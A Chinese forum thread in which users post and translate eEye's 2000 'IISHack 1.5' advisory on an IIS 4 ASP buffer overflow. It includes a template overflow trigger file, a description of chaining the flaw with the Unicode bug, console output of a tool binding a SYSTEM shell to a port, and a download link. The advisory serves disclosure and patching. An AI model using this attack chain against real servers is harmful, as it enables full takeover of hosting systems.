谁能帮我翻译一下这个！

IIS ASP $19.95 hack - IISHack 1.5 Release Date: November 3rd, 2000 Systems Affected: Windows NT 4.0 IIS 4.0 sp6 (vulnerable) Windows NT 5.0 IIS 5.0 (not vulnerable) Description: There exists a buffer overflow, that can be exploited to gain SYSTEM level access, within the IIS (Internet Information Server) .ASP ISAPI file parsing mechanism. This is not a remote exploit, it is a local one (However, we will explain later in the advisory how you _could_ pull this exploit off remotely.). It is local in the sense that you need to actually create an "evil" .asp file that when parsed by IIS will cause inetinfo.exe to buffer overflow and therefore allow you to take control of the local server as SYSTEM. So who is affected by this? Any web hosting company or internet service provider that is running multiple clients within the same NT4 IIS 4 web server. Basically any client (or attacker) who can update their website, i.e. upload a new default.asp or anything.asp, can then execute code as SYSTEM and therefore take complete control of your server. They could then do whatever they want to any of the other client websites hosted on that NT4 server. On the other hand they could install sniffers or crack passwords to further their control of your network. Hence the title $19.95 hack... Anyone with $20 dollars to spend can potentially break into any web hosting company or internet service provider running NT4+IIS4. Simply buy an account with a web hosting company, upload your evil.asp and request that evil.asp from your website, I.E. http://www.badguy.com/evil.asp, and your executing code on that server as SYSTEM. Here is an example .asp file that will cause NT4+IIS4's inetinfo.exe to overflow. ----start-cut-of-example.asp---- ----start-cut-of-example.asp---- Where [buffer] is 2220 characters or more. Yes, this overflow is exploitable. See section below. So you don't have $20 dollars to spend, or a server does not host websites? What then? Well there are going to be situations when a remote attack is possible. An example situation would be a server that has a guest book/message board system that does not strip out SCRIPT comments when it writes to its returned .asp file. So an attacker could go to a web board and within the "Enter your message here:" box (or whatever) they could simply paste in the contents of the script language overflow and submit the message. Then once they requested the .asp file that has that message (the embedded overflow msg) it would cause IIS to parse that .asp file, overflow, and execute their code. On another note you could couple this attack with the recent IIS Unicode bug to use cmd.exe to echo the contents of your evil.asp to the remote system then when you request evil.asp your code is executed as SYSTEM. In fact, we have created a sample exploit to show how this .asp language overflow and the IIS Unicode exploit could be used together to remotely compromise any NT4+IIS4+SP6(or lower) system that is behind in installing hot fixes. Due to the nature of this attack it is likely and quite possible that firewalls will not protect you against attacks like this. The Exploit: How to remotely exploit a system? Use the IIS Unicode exploit + .asp language overflow. For those of you not familiar with the IIS Unicode exploit, it basically allows you to remotely execute commands against IIS as IUSR_MACHINE. Now since we can execute commands via cmd.exe we could try to make the remote web server connect out to an FTP server to grab a file (sort of like the first IISHack) but you would still be executing code as IUSR_MACHINE. The way our exploit works is by using the Unicode bug to echo our .asp file (complete with shell code, to bind cmd.exe to a port ;-]) to a remote server and then request that .asp file which then causes inetinfo.exe to overflow resulting in a SYSTEM privileged cmd.exe to be bound to a specified port. Now, in most circumstances you should have correct acl's on cmd.exe (that would not allow IUSR_MACHINE to touch it) as well as some other security precautions in place, so we understand this exploit will not work on a secured system. However, this is just proof of concept and as most of us know, most IIS servers do not have proper local security in place. The exploit basically looks like the following when compiled: C:\we are still hiring good programmers> iishack1.5.exe IISHack Version 1.5 eEye Digital Security http://www.eEye.com Code By: Ryan Permeh & Marc Maiffret eEye Digital Security takes no responsibility for use of this code. It is for educational purposes only. Usage: IISHack1.5 [server] [server-port] [trojan-port] C:\send resume to hire@eeye.com> iishack1.5.exe www.[yourowncompany].com 80 6969 IISHack Version 1.5 eEye Digital Security http://www.eEye.com Code By: Ryan Permeh & Marc Maiffret eEye Digital Security takes no responsibility for use of this code. It is for educational purposes only. Attempting to find an executable directory... Trying directory [scripts] Executable directory found. [scripts] Path to executable directory is [C:\Inetpub\scripts] Moving cmd.exe from winnt\system32 to C:\Inetpub\scripts. Successfully moved cmd.exe to C:\Inetpub\scripts\eeyehack.exe Sending the exploit... Exploit sent! Now telnet to www.[yourowncompany].com on port 6969 and you should get a cmd prompt. C:\> telnet www.[yourowncompany].com 6969 Trying www.[yourowncompany].com... Microsoft(R) Windows NT(TM) (C) Copyright 1985-1996 Microsoft Corp. C:\WINNT\system32>whoami NT AUTHORITY\SYSTEM Download the full exploit from: http://www.eEye.com/html/advisories/IISHack1.5.zip Vendor Status: Microsoft has already fixed this .asp language overflow in prior hot fixes and applied it to most post service pack 6 hot fixes. This flaw has been fixed in the latest versions of W3SVC.DLL. Installing any recent hotfix will fix the problem. Here is a list of _some_ MS advisories and hotfixes that will fix the .asp language overflow vulnerability: MS00-080: Patch Available for "Session ID Cookie Marking" Vulnerability MS00-060: Patch Available for "IIS Cross-Site Scripting" Vulnerabilities MS00-057: Patch Available for "File Permission Canonicalization" Vulnerability MS00-030: Patch Available for "Malformed Extension Data in URL" Vulnerability MS00-023: Patch Available for "Myriad Escaped Characters" Vulnerability MS00-019: Patch Available for "Virtualized UNC Share" Vulnerability MS00-018: Patch Available for "Chunked Encoding Post" Vulnerability W3SVC versions greater than 720 addresses this issue. So if you've been keeping up to date with your hot fixes then you should not be vulnerable to this issue. Copyright (c) 1998-2000 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail alert@eEye.com for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security mail:info@eEye.com http://www.eEye.com

这么长要人命啊？下次帮你，建议你使用东方快车

     找到中文版的了
---------------------------------------------------------------------------

IISHack

描述：
在IIS (Internet Information Server) ASP ISAPI文件解析机制中存在缓冲区溢出，可以被用来获得SYSTEM级的访问。
这并非远程而是本地漏洞（然而，我们稍候将解释：你如何远程实现它）。你需要创建一个.asp文件作为牺牲品，当IIS解析它的时候导致inetinfo.exe缓冲区溢出，从而允许你以SYSTEM权限控制本地服务器。
那么，谁将受此影响呢？任何运行多个客户NT4 IIS4 web服务器的网络公司或internet服务供应商。主要说来，任何可以更新网站的客户（或攻击者）上传一个新的default.asp或anything.asp，可以接着以SYSTEM执行代码进而完全控制你的服务器。他们可以对那台服务器的其他任何客户站点做任何事情，同时，他们可以安装sniffer或破解口令以扩大他们在你的网络中的战果。
因此出现了题为$19.95的攻击…任何拥有$20的人可以入侵一个运行NT4+IIS4的网络主机公司或internet服务供应商。只要在网络主机公司购买一个账号，上传你的evil.asp并用IE从你的网站请求这个evil.asp，http://www.badguy.com/evil.asp，并且杂那台服务器上以SYSTEM执行你的代码。
这里是一个.asp文件导致NT4+IIS4的inetinfo.exe溢出的例子
----start-cut-of-example.asp----
＜SCRIPT LANGUAGE="[buffer]" RUNAT="Server"＞
＜/SCRIPT＞
----start-cut-of-example.asp----
注意 [buffer] 是2220 字母或更多。对，这个溢出可以利用，看下面的部分。
然而你没有$20支付，或者服务器不提供站点空间，那怎么办？那么好吧，如果可以远程攻击的话就好了嘛。
例如：服务器有个写入时不过滤SCRIPT命令的.asp来客登记/留言板系统系统。因此入侵者可以进入拥有“在此输入你的信息：”框的页面（或者更多），他们只需要粘贴这些溢出代码并提交信息（内含溢出信息），这将致使IIS解析这个.asp文件，溢出，并执行他们的代码。
另外，你可以将这个攻击技术与最近的IIS解码漏洞结合起来，使用cmd.exe echo你的evil.asp内容到远程系统，然后当你请求evil.asp时，你的代码将被以SYSTEM权限执行。事实上，我们已经构造了一个漏洞实例来表明这个.asp语言溢出，并且IIS解码漏洞可以一起使用，危及任何没有及时安装补丁的NT4+IIS4+SP6（或更低版本）系统。
由于这个攻击悄无声息，很自然，所以很有可能防火墙不能抵御类似的攻击。
漏洞：
如何远程攻击系统呢？使用IIS解码漏洞+.asp语言溢出漏洞
如果你不熟悉IIS解码漏洞,最起码它允许你透过IIS以IUSR_MACHINE的权限远程执行命令。OK，因为我们可以通过cmd.exe执行命令，我们可以试着让远程主机连接到外部的FTP服务器获取文件（似乎优先考虑IISHack），但你将只能以IUSR_MACHINE的权限执行命令。我们的这个漏洞通过使用IIS解码漏洞工作，echo我们的.asp文件（以shell代码结束，绑定cmd.exe到一个端口;-））到一个远程服务器，并请求访问这个文件，然后导致inetinfo.exe溢出，将一个SYSTEM特权cmd.exe绑定到一个特殊端口。好了，在很多情况下你应该拥有恰当的cmd.exe的访问控制（这将不允许IUSR_MACHINE访问）就像其他的安全措施一样，因此我们应该知道这个漏洞在一个安全的系统里不会工作的。然而，这仅仅是从概念上讲的，并且正如我们大多数人了解的那样，大多数IIS服务器并没有恰当的本地安全措施。这个漏洞工作起来基本上是下面这个样子的：
C:\we are still hiring good programmers＞ iishack1.5.exe
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh ＆ Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Usage: IISHack1.5 [server] [server-port] [trojan-port]
C:\send resume to hire@eeye.com＞ iishack1.5.exe www.[yourowncompany].com 80
6969
IISHack Version 1.5
eEye Digital Security
http://www.eEye.com
Code By: Ryan Permeh ＆ Marc Maiffret
eEye Digital Security takes no responsibility for use of this code.
It is for educational purposes only.
Attempting to find an executable directory...
Trying directory [scripts]
Executable directory found. [scripts]
Path to executable directory is [C:\Inetpub\scripts]
Moving cmd.exe from winnt\system32 to C:\Inetpub\scripts.
Successfully moved cmd.exe to C:\Inetpub\scripts\eeyehack.exe
Sending the exploit...
Exploit sent! Now telnet to www.[yourowncompany].com on port 6969 and you
should get a cmd prompt.
C:\＞ telnet www.[yourowncompany].com 6969
Trying www.[yourowncompany].com...
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32＞whoami
NT AUTHORITY\SYSTEM
在这里下载整个exploit：
http://www.eEye.com/html/advisories/IISHack1.5.zip
M$的回应：
M$已经在当前最新的补丁里补上这个.asp语言溢出漏洞，并使它在大多数最新的service pack 6里发布。这个漏洞已经被最新版本的W3SVC.DLL补上，安装所有最新的补丁吧，你就没这个问题啦。
这里有一些M$的报告和补丁的列表（针对.asp语言溢出漏洞）
MS00-080: Patch Available for "Session ID Cookie Marking" Vulnerability
MS00-060: Patch Available for "IIS Cross-Site Scripting" Vulnerabilities
MS00-057: Patch Available for "File Permission Canonicalization"
Vulnerability
MS00-030: Patch Available for "Malformed Extension Data in URL"
Vulnerability
MS00-023: Patch Available for "Myriad Escaped Characters" Vulnerability
MS00-019: Patch Available for "Virtualized UNC Share" Vulnerability
MS00-018: Patch Available for "Chunked Encoding Post" Vulnerability
W3SVC多于720地址的版本已经发行。因此，如果你已保持你的系统拥有最新的补丁，你将不会受此攻击。
Copyright (c) 1998-2000 eEye Digital Security
允许以电子信息的形式重新发布此报告。这不需要eEye的明确认可。如果你想将本文的部分或全部以非电子出版物的形式重新发布，请e-mail alert@eEye.com 得到许可。

不是有翻译的网站吗？
用那个
去免费找